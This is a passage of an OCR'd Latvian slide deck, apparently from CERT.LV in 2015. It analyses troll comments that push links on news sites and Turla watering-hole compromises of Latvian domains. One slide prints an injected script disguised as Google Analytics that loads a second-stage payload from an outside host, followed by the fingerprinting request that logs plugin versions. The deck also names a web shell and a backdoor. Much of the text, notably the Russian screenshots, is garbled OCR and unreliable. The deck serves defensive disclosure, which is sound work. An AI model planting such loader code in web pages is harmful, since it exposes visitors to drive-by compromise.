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Interneta trolli un
launatiras izplatisanas
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Riga, 2015. gada 1. oktobris
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* Kapec CERT.LV ir radusies interese par
siem “radijumiem”?

* “Ne”pamanitais potencials



Foto: Krievijas pilsoni ieklast Adazu
militaraja baze

Apollo, redakcija@apollo.lv
Treddiena, 2015. gada 10. jonijs 18:00 758 komentari 5 &
—
Par Krievijas pilsonu ieklasanu Adazu militaraja bazé zino ari Krievijas
propagandas mediji, publicéjot fotoattélus, kuros redzams, ka abiem
nacionalbolSevikiem izdevas veikt parkapumu.

2 atteli

Atvert
Foto: ekranuznémums

Fotoatteli publiceti Krievijas socialas sazinas vietné «VKontakte=».

Ka vesta agentira LETA, pagaidam nav skaidrs, kada atbildiba draud abiem Krievijas
nacionalbolsevikiem.

Drosibas policija apstiprinaja, ka ta Sobrid ir iesaistita notiku3a incidenta apstaklu
noskaidrosana, ta¢u no plasakiem komentariem pagaidam atturas, tostarp netiek atklats, kur
Sobrid atrodas abi parkapéji.
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labakie jaunakie vecakie Pievienoti 758 komentari

pecis 10. j0n. 18:02 A33 v9

Zjogu vajadzeeja augstaaku.

Tas ir tas NATO speks Tie divi ir sikums salidzinajuma ar So vpk-news.ru/ar
Anonims 10 j0n. 18:2¢ A52 +20

KUR PROBLEMA?7? ASV KAROGA NORAUSANA UN NOMAINISANA AR GEORGA - 1ZDOT
ASV FIB INSTANCEI PAR ASV KAROGA APGANISANU. ILGI SEDES

mja 10 jon. 18:32

Tie divi ir sikkums salidzinajuma ar So vpk-news.ru/articles/2... +
fakts 10 jon. 18:33 ~27 v 30
iedirsa latvieSiem dvesele

ID_X 10 j0n. 18:47 ~49 v 3

péci, divarpus metrus augsts zogs, no kuriem kadi 80cm dzelondratis - ir par maz? Nav
jau cietums - no ta neviens negrasas bégt, bet normalus lautinus no ieklisanas teritorija
tas atturétu, savukart tie kas ierapas jau nav normali...

Slépts komentars Paradit 4 v24
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Tie divi ir sikums salidzinajuma ar so noversanas instticia

Atrs reakcijas laiks - 30min

Reply komentars, lai turétos Topa.

Provocéjoss komentars veicina saites atverSanu
Hot topic

3000 komentari, 1/2 satur saites !!!

Témas rakstiem - tikai par Krieviju un Ukrainu
Viedoklis - Putins

Vidéji 9 komentari diena

331 diena ar kadu komentaru

Aktivs paliek péec “Maidana”

Parasti vairaki komentari pie viena raksta, iesaistas diskusijas



Apmus JlatBUM pUCKYyeT cTaTh elle
MeHbLlle: MonoAeXb CIUWKOM cnabas
n ee mano (136)

LETA | 31 wronn 2014, 08:47

Follow @rusdelfi_

Foto: PantherMedia/Scanpix

W Bez Toro HeGonbwan apmua JlaTBMM B CKOPOM BPEMEHW MOXET
CTaTb €le MeHble, O6 atom areHTcTBY LETA 3aneun aupeKTop
LeHTpa pekpyTMpoBaHuA U ayHcapazse OpyBuc KneitHc.

Mo cnoeam KneidHca, 370 BelaBaHo gemorpaduyeckimmn npoBnemamu,
cnaboi hrandyeckoil NOAroTOBKOW MONoaeXK U HeadhdeKTUE HoW
cucTeMol Habopa B paabl HaUMoHanbHBX BOOP YKEHHBLIX G,
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OpecT JNTIOTHIA

MeHwTab oTMeYaeT, YTo OCHOBHbIMK NpofneMmami OCTaKTCA COCTORHWE
300P0OBbA HOLWER, a Takke BONPOCL! NONYYEHMA UMK 0Dpa3osaHus.
Mo-npexHemy U3 rofa B rof Kawabli TpeTUid pOCCMIACKMIA NPU3bIBHMK
oceoDoO¥aaEeTCA OT BOBHHOM cny#Obl NO COCTOAHWIO 300P0BLSA, U3 HUX
nopagka 8-10% HanpaenATCA Ha AONONHWUTENBHbIE MELULWMHCKWE
obcnegosaHuA, a bonee 50% MMeOT OrpaHUYeHa NO COCTOAHMIO
300p0OBLA W HE MOIMyT DbITe HANpaseneHsl B BB, BM® 1 paa apyrnx
BWOOB W podoB BoWCK. Bonee Toro, fame B TAKMX OTHOCHMTENBHO
fnarono 3 EN ¥

"atnodi MogpobHee: hitp:/ivpk-news.ru/articles/4092
congar-i

BOWCKaM

KOTOpbIF 152 29

0300pO0E
BO3pacTa’”.

Moagpobree: hitp:/ivpk-news.ru/articles/4092
152 29
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Komentari ar 1-2 minusu intervalu

Lietots "Mogpo6bHee", lai vilinatu uz saiti

Visticamak copy-paste no kada gatava preses relizu/apkopojumu avota
Cilveks vai bots?

Nomainits lietotaja vards kaut kad uz “Opecrt /liotnin”, registréets
Reakcija 1h no raksta publicéSanas

Ar 8 méenesu starplaiku atkartojas komentaru saturs ar saiti uz VPK-
NEWS.RU, saite ari atkartojas



BOEHHO-NPOMBILINERHbIH KYPHEP Tembi

ABTOPBI

Bce HoMepa
doToapinB

| || Maunck |

obWepoccHACKANA eXeHeenbHAR ra3erTa

naBHoe FeononuTHKa

Apmna

ObopoHKa Opypime KopoTtko Wctopua

FEONONMMTHUEKA = Bepoua ana newatu

ONDEREED 2
[106a1bHBINH KOHTPYAAP

Cnocolsl HeliTpanuzannu HanuoHaasHoii [IPO CIIIA moryT GBITE
ACHMMEeTPHYHBIMH H E€CBEMA HEOPHHAPHEBIME

ff KoHcTaHTMH CHEKOB

Cuctema HMNPO CLUA paxe B gonrocpodyHoOW NepcnekTuBe BygeT MMeTb AOCTAaTOYHO MHOMO
cnabblx MecT, 4YTobbl € MX Y4YeTOM OPraHWM3OBaTb KOMMNEKC Mep NPOTMBOAEHCTBMA,
MNO3BONAKIWMA MNPaKTMYECKM MONHOCTbIO €e HeWTPanM3oBaTh WM 3acTABUTh amMepUKaHCKoe
PYKOBOACTBO CeCTh 3a CTON NeperoBoOpOoE No 3TOW NpobnemaTuie.

HanpAXEHHOCTE B OTHOWEHWAY MEXLY Pocceid W CLUA HapacTaET N0 BLEM HAMPAEMEHMAK. CErOfHA MORHO
CMEND KOHCTATMPOBATE, MTO HOB3A TOHKA BOOPYHKEHWA PAa3BEpHYTA B NONHOM o0Bteme. OfHO w3 HawbBonee
KOMTMHECKMK HAMPABNEHWMA — MONBMKM CLUA MEPaMKM BOEHHO-TEXHWMMECKOTD X3PakTEPa HApyWWMTe ALEPHBIA
NapUTET.

BeanazepHoe HacToALee

BamHEAWER NPOrpamMMoi B CUCTEME MEp MO AOCTMHEHWH MPEBOCKOACTEA HAL HAWER CTPaHOW B chiepe
CTPATEMAHECKMX BODPYKEHWMA AENAETCA Pa3BEQTHIEAHME HAUMOHANBHOA cucTemel MPO CLUA (HMPO). Pacyet
OENAETCA HA TO, 4T0 373 )OPMANEHO 0BOPOHWTENBHAA CHCTEMA NPKM ONPELENEHHEX YCNOBWAX GyAET cnocofHa
HEATPENM30EATE BOSMOKHLIA DEKETHO-AAEPHLEIR YAEP N0 TEPPMTORMK CLUA W WX COKIZHMKOE CO CTOPOHE! POCCMM 1
MHBIX FOCYAAPCTE, B Y4aCTHOCTM KWMTaA. COOTEETCTEEHHO ANA HAC M3bICKaHME 3fEKTWEHBIX MER YCTPaHEHMA
YIPOo3kl HEATPANM3ALMM AAEPHOMD NOTEHUMANE CTAHOEMTCA OAHMM W3 KNKIMEBEX YCNOBMA DBECNEYEHMA CBOEM
HaLWMOHANEHOH GE30NACHOCTH.

B uenom cucTema HMPO CLUA BKNKMAET TpM OCHOBHLIE

KOMMNOHEHTHL. [EBPEAA — HASEMHLIA KOMMNEK: NEpexBaTta “ Myck MBP HauvHeTcA
BOBrON0B0K MEKKDHTUHEHTANEHER BANIMCTIMYECKX PaKkeT Ha

CPEAHEM YHACTKE TPAEKTOPWW, MIBECTHEIA Kak Ground-Based 3aA0JIM0 A0 NOPpaXKeHWUA HallKX

Midcourse Defense (GBMD). O sknivaeT PAC paHHErt  cqe g ofLeme TpeGyemom
NPEAYNPEXLEHMA M CONPOBOMAEHWA,  OTCAEXMEBAWME i

NEPEMEILEHME LENEH B KOCMIMMECKOM NPOCTRAHCTEE, @ Take  KOHLUenuuen ﬁmeporo
NPOTMEOPAKETEl  WAXTHOMD  BasMpoBEaHWMA  Ground-Based

Interceptor  (GBI),  3thEKTMEHAA  AankHOCTE  CTPEMbAR rnobanbHoro yaapa , ,
EOTANRE NLAHWRARTEA R OATH THICAY KANOMETOOR NOAMAHME

CBeXWiA Homep

HorocTH

BEC P® nomy4aT Ha BOODYHEHWE
MOAEPHMIMPOBAHHEIE Cy-25YEM

MNognogkd «MUpaHeAs 1 cAMyp-16300
NPEACTABAT Ha thopyMe
«APMUA-2015%

Mognoaky «CTapblid Ockons
MAZHWEYETCA NEPELATE NOTY 3 MKONF

MWM-29K BNepEbIe NPOAEMOHCTRMAYHT
Ha BRICTABKE «ApMUA—2015:

CalT WTaba NMTOBCKOR kK
YCMELWHD 3TAKOBANMW XaKkepsl

Hanee -

Iepepasa rogoean Kondepennma
PYHOBOAANETO cocTapa 'K
«Conuyns Hropa AwypGeiinn

Perjenzua

MoCyLAPCTEEHHMK B
BREMEHE

HEMNPOCTEN

doTo HegenH
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<!-- GOOGLE ANALYTICS (start) --> novérsanas institdicija
<script type="text/javascript"'s

var gak = gak || [];

_gak.push([' setAccount', '"UA-38543209-5"]);
_gak.push([' setAllowHash', 'false']);
~gak.push([' trackPageview']);

if (document.getElementById("dfjhiz2")) {}

else

{

var goo
var gam
gam.src
gam.src
var sm

var fl

'bilemarketcenter.com';

document.createElement( 'script'); gam.type = 'text/javascript'; gam.async = true;
("https:' == document.location.protocol ? 'https://ssl' : "http://www') + '.google:
‘http://blog.mo' + goo + '/?cart id=33';
document.getElementsByTagName( 'script')[0]; sm.parentNode.insertBefore(gam, sm);
document.createElement( 'span'); fl.id = 'dfjhl2";

var d = document.getElementsByTagName( body')[0]; d.appendChild(fl);

}

</script>

<!-- GOOGLE ANALYTICS (end) --3

gam.src

‘http://blog.mobilemarketcenter.com/?cart id=33";|
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* Virkne “uzlauztu” vestniecibu resursi
* ~100 iesaistiti domeni

- Valsts sektors

- lzghtiba

— Sports

— Zinas

— Atputa

— Transports



2nd stage

"http://blog.mobilemarketcenter.com/?cart id=33"';
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'V’Vc ERT. LV,\_>

GET /?cart_id=31&sid=null&fid=11.0.1.152&aid=9.3.0.0&mid=7&]jaid=null&rid=null&cid=1436967538089&cart id=31& =1436967534764

cart id=31
sid=null
fid=11.0.1.152
aid=9.3.0.0

mid=7

jaid=null
rid=null
c1d=1436967538089

: kampanas ID
:Shockwave

:Flash

:Adobe Reader
:Microsoft Office Word
:Java

:Referer

:Unikals ID



Interneta Trollis

* Uzsakts petijums LV tikla
- Metodes/Taktika
- Kam pieder trollis

- Kas ir merki

ooooooooooooooooo
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* Watering holes valsts iestazu resursos
- Parbauditi 780 tk .LV domeni



Watering hole

* Viegli kompromitejamas WP

* WSO Web Shell

* Filesman backdoor

* Kontrole no satelita IP adresem

Informacija korelé art ar Siem pétijjumiem:

http://www.symantec.com/content/en/us/enterprise/media/security _response/whitepapers/waterbug-attack-group.pdf
https://securelist.com/blog/research/72081/satellite-turla-apt-command-and-control-in-the-sky/
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf
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http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf
https://securelist.com/blog/research/72081/satellite-turla-apt-command-and-control-in-the-sky/
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf
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Informacija korelé art ar Siem pétijjumiem:

http://www.symantec.com/content/en/us/enterprise/media/security _response/whitepapers/waterbug-attack-group.pdf
https://securelist.com/blog/research/72081/satellite-turla-apt-command-and-control-in-the-sky/
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf


http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf
https://securelist.com/blog/research/72081/satellite-turla-apt-command-and-control-in-the-sky/
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf
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132 per 1d @ 2015-06-23

|

2015-05-01 2015-06-01 2015-07-01 2015-08-01 2015-09-01

0

Prezidenturas sakums izcelas ar lielu Turla kampanu aktivitati Latvija.
Velak ir epizodiski lécieni pa atseviskam iestadem, korelacija ar
politiskiem notikumiem nav veikta
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Ugis Magonis (LDZ) aizturéts 6. augusta vakara

Turla aktivitates no saistitas iestades nozare — 12. augusta
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- Uzbrkumu metodes nav rocketscience, bet..
- Sadas metodes labi strada

* Publiski pieejamas ievainojamibas

- letekme “ne”prognozejama

- Taktikas loti dazadas

* lesaistiti daudzi



Secinajumi i
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* Trollu pielietoSana virusu izplatisana ir interesanta
un bistama tendence

- Latvija Sie apmeri pagaidam nav lieli

- Analitikas spejas ir jaattista — StratCom COE?
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